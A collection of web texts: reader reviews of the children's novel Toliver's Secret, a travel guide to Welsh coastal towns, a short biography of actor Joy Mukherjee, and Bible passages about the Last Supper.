I really enjoyed this book when I was younger! Definitely a great read for children 8-14.
I read this book aloud to my children. It is an historical fiction adventure set in New York in the 1700s.Ten year-old Ellen Toliver is a meek and mild girl, who is often bullied by another girl named Dicey. Grandfather encourages Ellen to stand up for herself and talk back to Dicey, but Mother is against the advice reminding Ellen that her late father would not approve because he wanted his daughter to be ladylike. Grandfather huffs that Ellen can still have pretty manners while being bold when [...]
I read this aloud with my children (ages 9, 7 & 5) and we all greatly enjoyed this courageous historical fiction tale of a young girl carrying a secret message through enemy lines during the Revolutionary War and all the crazy circumstances she faced. A great read if you are studying this time period in American history. The kids were begging for more with each reading.
This is the first book I checked out when I got my first library card . . . at 12. I was a late bloomer of a reader, I confess. I credit this book, along with Don't Sit Under the Apple Tree, with changing my life forever. I became a reader because of them.
What a great read out loud! I read this to my kids - ten and six - and they really enjoyed it. Set during the American Revolutionary War, the main character has to face her fears and learn courage and bravery. It's a gentle introduction to the tensions of war and the world back then. It's also a fun and exciting read, with short chapters.
Toliver's Secretby Esther Wood Brady is about a little girl named Ellen who learns that her grandfather is a Patriot spy! He gets injured the day he is supposed to fulfill an important assignment, and Ellen is the only one who can take his place. Join Ellen on this fast-paced adventure as she travels across bays, comes face-to-face with British soldiers, and more! She even does this all disguised as a boy! I give this book a five-star rating, because the book is very detailed and suspenseful! It [...]
The book Toliver's Secret, by Esther Wood Brady, is about a girl named Ellen Toliver who goes on a amazing mission to deliver a loaf of bread to someone in her grandfathers place. Will she be able to do this without getting caught? I definitely rate this book a five star book because it has a mix of history and adventure and even some mystery.If you love history books or books about adventure than this is the book for you!
gr 4-6 166 pgsAmerican Revolution, NYC / Elizabeth, NJ. 10 year old Ellen has never been brave. Every morning, she avoids the water pump nearest her house to avoid the bully who hangs out there. When her grandfather is injured, he tells Ellen that she must make a dangerous journey to NJ by herself. At first, Ellen wants to refuse until she learns that without her help a very important message to other patriots in NJ won't be delivered. Great story
Toliver's Secret is about a girl named Ellen and the day her grandfather is supposed to go on a very important mission he sprained his ankle, so who's going to go deliver the the special secret? Ellen of course! Join Ellen on her mission to delver the message, all while disguising to be a boy!
There are never enough books to read to my kids on the topic of doing hard things for good and although I liked the idea that a spy gave General George Washington insider info that led to him attack the British on Christmas, I believe he designed his plan of attack through prayer, strategic planning in council and inspiration from God. He was desperate for a win after some horrible losses and we know he prayed for God's help. The only thing missing from this book, in my opinion, was uttered pray [...]
I'm enjoying reading some books that highlight the parts that some young children played in the American Revolution. This was a fun little story of a 10 yo girl's adventure as she attempted to get a secret message through enemy lines.
I like this book about in history 1776 in south story kid name Ellen Toliver was shock about his grandfather is a patriot spy meaning that kid want secret and can't tell anyone if happen or caught then will dead.
Children's fiction set in the Revolutionary War. This is about a girl who dresses up as a boy to take a dangerous package through enemy lines.
This book was very engaging. My daughter and I both loved the adventure and wondered if Ellen would succeed at her mission. We got to the last few chapters and just had to finish it.
This was a quick and easy historical fiction book for the kids, set during the American Revolution in NYC. I liked it not only for its value for teaching about that time period, but also because the 10-year-old heroine of the book starts off as timid and fearful but by the end of the book, she has overcome so many obstacles and faced so many fears that she is confident enough to stand up to the bully that's been plaguing her for weeks. It's not a very complex story, and it's not a very realistic [...]
Age: 8 - 12 Reading Level: 3rd - 6th gradesCleanliness:Children's Bad WordsMild Obscenities & Substitutions - 1 Incident: dratName Calling - 3 Incidents: idiot, idiots, Lobsterbacks (a derogatory term for British soldiers during the Revolution)Romance Related - 1 Incident: Mentions flirting: "She ran up to two redcoats who stood on the steps of a bakeshop, eating hot little pies while they flirted with a group of kitchen maids."Conversation Topics - 3 Incidents: A reference to officers in th [...]
As a kid, this was one of my favorite books, because Ellen is a such an exciting character. I was thrilled with the idea of a 10-year-old girl taking on British soldiers to help bring victory to the hard-scrabble Americans, a girl who was my age, who had real fears, and faced down incredible danger to carry out a secret mission! Maybe it was Ellen's quick thinking and boldness that won me over, but I so wanted to be her--I read this book over and over! Now I recommend it especially to my fourth [...]
Paul-man and I sent this book to Rae for her birthday. It was recommended by another library school student, and I got it from the library so I could read it, too. It was a charming story about being brave even when you think you don't have it in you to be brave. Plus, it gives a palpable sense of what it may have been like to have been a child in an occupied city.One of my favorite scenes took place between Ellen Tolliver and Mr. Higgins, a kindly British soldier who befriended her while crossi [...]
Toliverś Secret by Esther Wood Brady is about a young girl named Ellen Toliver. Ellen is surprised on day when she finds out her grandfather is a patriot spy. Then her grandfather gets injured on the day when he was suppost to deliver a secret message crucial to the US for winning the Revolutionary War. It is now up to her to take the secret message to Elizabeth-Town where a carrier who will deliver it to George Washington. Join Ellen as she faces many many trials on her way to Elizabeth town . [...]
This book is about a kid toliver who's dad got killed by the brittish and toliver had to go on a ship with the british he was not thrilled about it. It talks about a snuff box and it tells you when he gives it back to him there is a locket necklaces.It was a great book but i wish it talked about the snuff box a little bit more. Other than that i would totally recomand this book. This book has alot of supence. There's this girl named Ellen Toliver, and she is 11 years old. her grandfather is a sp [...]
It was a wonderful book it kept me on the edge of my seat and also it was pretty good for a story about war and spies. I think Ellen was a brave girl for acting as a spy and to deliver a secret message inside a loaf of bread. She was also brave because she fought off big strong soldiers and a pig,boys, and saved the bread from getting eaten by a pig. Next, she saved herself from a old lady trying to take her pants off, she fought her off so she wouldn't find out she was a girl and get her grandf [...]
This is a wonderful book set during the Revolutionary War about a girl whose courage (or severe lack thereof) is put to the test when she must carry out her Grandfather's mission of delivering a secret message to George Washington. The author does a great job of drawing the reader in, fleshing out her characters well and weaving historical tidbits that add greatly to the atmosphere. We like the full-page black & white watercolor illustrations and have been really enjoying this story. I think [...]
Another read-aloud that my son and I read together for his History. I am really enjoying the fact that along with reading the history of the US, my son gets to experience what he's learning through the eyes of a child in this book. The bravery and courage that little Ellen Toliver somehow finds through the course of the story is a timeless lesson for every child (and maybe some grown-ups, too). This was yet another book that my son was begging me to read more of at the end of each chapter!
I read this book and thought it was great. It was about a girl who was afraid of standing up for herself especially the bully that yells at her everyday at the water pump. Her grandfather is a spy for Washington during the war. He has baked a special message inside a loaf of bread and is going to send it to Washington. When Ellen's grandpa twists his ankle, Ellen is the only one to deliver the message
We read this story as part of our homeschool history lessons and were pleasantly surprised by it! The story held the attention of my 11 yr old daughter and my 8 yr old son so much so that we read chapter 6 to the end in one sitting! Once the story started unfolding it really pulled us in and with Ellen Toliver having to overcome one obstacle after another, you just don't want to put the book down!
Fun and informative story about a timid 10-year old girl, Ellen Toliver, who has to run a message across enemy lines during the American Revolution. She runs into quite a few problems but gains confidence as she figures out how to handle them and accomplish her mission. A little history, a little suspense, fun and easy to read. I think it would be great to read with a girl who may struggle with assertiveness, as she could relate to Ellen's feelings and perhaps be inspired by her courage.
I'm not sure why I resisted reading this book for so long. A spy story set during the Revolutionary War, I can see it appealing to both boys and girls (the main character is a ten year old girl, impersonating a boy in order to deliver a secret to General Washington). What a great historical novel that keeps childrens' interest quite easily throughout her misfortunes and adventures. It's a book about loyalty and bravery that every child should read!
Enjoyable read about a young girl who delivered a secret message for her grandfather during the Revolutionary War. Most of the action happens within a two day period, so it is fast paced. The girl begins as a timid and scared child, but as she rises up to each challenge, the reader sees her growing in courage and confidence as her love for her family helps her to press through her fears. I read it out loud to my 11-year-old son, and he thought it was a great story.
My children and I read this as part of our homeschool to learn what it was like during the Revolutionary War. I found it quite hard to believe that they would use a 10 year old girl to deliver a secret message to the spies across the harbor all by herself. If things like that did happen, I ache for those children. My kids liked it.
Provides a different and interesting perspective during the Revolutionary War that 4th and 5th graders can really connect with since the main character is 10 years old. It would be a great read aloud over a week or two in those grades to really get the children interested in learning about the Revolutionary War.


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Most famous for its beautiful castle, Caernarfon is our most northerly favourite town in Wales.
The town is situated alongside the Menai Straights overlooking Anglesey and offers many attractions. You could take the kids to The Fun Centre where we are sure they will enjoy the giant play area, go carts and much more. Be sure to take some time out to visit the Castle - a fine example of its kind and probably the most architecturally impressive castle that can be found in Wales.
Caernarfon is also home to the Welsh Highland Railway which will transform you back in time to the steam age whilst travelling through some of the most stunning countryside in north Wales - offering plentyful views of Snowdonia and its surrounding peaks.
A small popular coastal town in north Wales with many attractions inviting visitors back time and time again. Criccieth Castle stands on a small headland dominating the skyline from almost everywhere in town. From the Castle fine views over the Snowdonia National Park can be found by looking south east and to the west you will find stunning views of the Lleyn Peninsula.
Criccieth has two beaches, the nicest is situated just below the lifeboat station and is ideal for families with an ice cram parlour and fish & chip shop within a stones throw of the beach.
In town along the High Street, you will find plenty of restaurants, bars and shops to keep you entertained. You can even commision a local clog maker (Trefor Owen Clogs) and take home a very unique pair of shoes!
With one of the prettiest High Streets in Wales, Aberaeron draws visitors from all parts of the world. After taking in the High Street take a wander around the small back streets to find hidden gems of architecture and brightly painted Welsh townhouses. You might even stumble across a few delightful restaurants or if fish & chips are the order of the day head to the harbour to find some of Ceredigion's best.
Aberaeron has two beaches, one to the north of the River Aeron and another to the south and nearby is Aberaeron Yaught Club - ideal for an evening drink or two whilst watching the sun setting in to Cardigan Bay.
Boasting two very nice sandy beaches, Aberporth is a favourite amongst both locals and visitors. The town nearly doubles its numbers in people during the summer season.
The north beach is a family favourite with a beach shop, pub and takeaway right along side it, there are also some rockpools and a small river running along the northern edge.
A great coastal walk can be made by heading north along the Ceredigion Coast Path from Aberaeron for some 20 to 30 minutes. This will bring you to Tresaith where there is another nice sandy beach. Pop in to the Ship Inn (just above the beach) for some good food.
With is ancient Abbey ruins and narrow winding roads you will immediately find yourself feeling as though you have been transported back to a by gone era in St Dogmaels. Pretty Welsh cottages line the steep bank from the very top of the valley down to the south bank of the River Teifi.
In Town you will find restaurants, cafe's, pubs and the locally famous Bowen's Fish and Chip Shop - not to be missed!
A mile or so west of St Dogmaels you will come across Poppit Sands - Pembrokeshire's most northerly beach and very popular at all times of the year. You could even come across the local paragliding club practising on the vast sands here or kite surfers getting their adrenalin rush in the surf just beyound the shore.
Sitting on the lower slopes of Carningli Mountain and stretching down to the waters edge at the Parrog, Newport enjoys one of the most picturesque settings in Wales.
The Nevern Estuary winds it way along the towns northern edge and meets the sea at Newport Sands' southern edge. The town of late has become a foody heaven with many restaurants, cafe's and pubs serving up gastronomical delights.
Although having Town status, Newport is no bigger than a large village and all amenities are within a 15 minute walk of each other.
Newport Sands is a mile long stretch of dune backed sand protected by two headlands (Dinas Head & Morfa Head) making it a very popular beach with families, boating enthusiasts and during the winter, kite surfers and land yaughters.
Famous for it's Cathedral and also because it is the Uk's smallest City, St David's is meerly a village in terms of population but makes up for this by being a very lively and bustling centre on the St David's Peninsula.
The City is positioned a mile or so inland from the coast at Caerfai Bay and boasts many pubs, restaurants, cafe's and shops. You could take a boat trip out to Ramsey Island from the nearby St Justinian's lifeboat station or visit Whitesands Beach - famous as a great surfing spot in the UK.
St David's makes a great destination for exploring the surrounding peninsula, its villages and further afield to the south - St Brides Bay.
Set in the south of St Brides Bay, Broad Haven is a very popular summer holiday destination. The village sits quite litterally on the beach with only a quay wall to protect it from the winter westerly's.
Other than the spectacular cliffs there are two pubs and a restaurant to enjoy - but the real reason for visiting Broad Haven has got to be for the stunning beach which enjoy's some of the best views of St Brides Bay that can be found.
Its all about the location at Freshwater East - the village sits high up on the cliff tops above a beautiful sandy beach and commands spectacular views across the south Pembrokeshire coastline.
Don't expect a plethora of restaurants, cafe's, pubs and shops here, this is a proper rural coastal village.
Most of the countryside immediatley surrounding Freshwater East is classed as SSSI (Sites of Special Scientific Interest) and is home to such flora and fauna as Choughs, Glow Worms and the Burnett Rose.
Laugharne is situated alongside the River Taf close to the border with Pembrokeshire.
A very popular destination at all times of year due to its connections with Dylan Thomas, its picturesque setting and the castle ruins - Laugharne also boasts many restaurants, pubs, cafes and shops to keep most people happy.
Try the Cors Restaurant for a little quirkyness or Cafe Culture for the Leek and Potato Soup.


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Joy Mukherjee (24 February 1939 – 9 March 2012) was an Indian film actor and director.
Joy Mukherjee was the son of Sashadhar Mukherjee and Sati Devi. His father was a successful producer and a co-founder of Filmalaya Studios. His uncles were director Subodh Mukherjee, Ashok Kumar, Anoop Kumar (Actor) and Kishore Kumar.Joy Mukherjee was educated in Col. Brown Cambridge School in Dehra Dun and St. Xavier College. .The name of his wife is Neelam. They have two sons MONJOY, SUJOY and a daughter Simran
Joy debuted opposite Sadhana in the film Love in Simla (1960) directed by R.K. Nayyar. After Love in Simla, he paired with Asha Parekh for several hits like Phir Wohi Dil Laya Hoon, Love in Tokyo and Ziddi. Some of his films like Door Ki Aawaz, Aao Pyar Karen and Shagird (opposite Saira Bano), Ek Musafir Ek Haseena with Sadhna, 'Ishaara' with Vyjayantimala and 'Jee Chahta Hai' with Rajashree were superhit movies. Most of his movies had hit music (Ek Musafir Ek Haseena, Aao Pyar Karen, Shagird, Phir Wohi Dil Laya Hoon, Ek Baar Muskura Do, Door Ki Aawaz, Jee Chahta Hai, Humsaya, etc.) By the late 1960s acting roles began drying up, so he began directing and producing.
He produced and directed Humsaya although neither that film nor his subsequent films as producer or director did well. Despite a late success with home production Ek Baar Muskura Do (1972) with brother Deb Mukherjee and later to be sister-in-law Tanuja, Joy faded from the silver screen. His last success came directing Chailla Babu. In 2009 he acted in the television serial Aye Dil-e-Nadan in DD National along with his son Sujoy Mukherjee.
Joy Mukherjee died at the age of 73 on 9 March 2012 in Lilavati Hospital, Mumbai. He was placed on a ventilator near the end of his life. He was survived by his wife and children


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Matthew 26:17-19 17 On the first day of the Festival of Unleavened Bread, the disciples came to Jesus and asked, "Where do you want us to make preparations for you to eat the Passover?" 18 He replied, "Go into the city to a certain man and tell him, 'The Teacher says: My appointed time is near. I am going to celebrate the Passover with my disciples at your house.'" 19 So the disciples did as Jesus had directed them and prepared the Passover.
John 13:2-17 2 The evening meal was in progress, and the devil had already prompted Judas, the son of Simon Iscariot, to betray Jesus. 3 Jesus knew that the Father had put all things under his power, and that he had come from God and was returning to God; 4 so he got up from the meal, took off his outer clothing, and wrapped a towel around his waist. 5 After that, he poured water into a basin and began to wash his disciples' feet, drying them with the towel that was wrapped around him.
6 He came to Simon Peter, who said to him, "Lord, are you going to wash my feet?" 7 Jesus replied, "You do not realize now what I am doing, but later you will understand." 8 "No," said Peter, "you shall never wash my feet." Jesus answered, "Unless I wash you, you have no part with me." 9 "Then, Lord," Simon Peter replied, "not just my feet but my hands and my head as well!" 10 Jesus answered, "Those who have had a bath need only to wash their feet; their whole body is clean. And you are clean, though not every one of you." 11 For he knew who was going to betray him, and that was why he said not every one was clean.
12 When he had finished washing their feet, he put on his clothes and returned to his place. "Do you understand what I have done for you?" he asked them. 13 "You call me 'Teacher' and 'Lord,' and rightly so, for that is what I am. 14 Now that I, your Lord and Teacher, have washed your feet, you also should wash one another's feet. 15 I have set you an example that you should do as I have done for you. 16 Very truly I tell you, no servant is greater than his master, nor is a messenger greater than the one who sent him. 17 Now that you know these things, you will be blessed if you do them.
John 13:33-35 33 "My children, I will be with you only a little longer. You will look for me, and just as I told the Jews, so I tell you now: Where I am going, you cannot come. 34 "A new command I give you: Love one another. As I have loved you, so you must love one another. 35 By this everyone will know that you are my disciples, if you love one another."
Matthew 26:26-30 26 While they were eating, Jesus took bread, and when he had given thanks, he broke it and gave it to his disciples, saying, "Take and eat; this is my body." 27 Then he took a cup, and when he had given thanks, he gave it to them, saying, "Drink from it, all of you. 28 This is my blood of the covenant, which is poured out for many for the forgiveness of sins. 29 I tell you, I will not drink from this fruit of the vine from now on until that day when I drink it new with you in my Father's kingdom." 30 When they had sung a hymn, they went out to the Mount of Olives.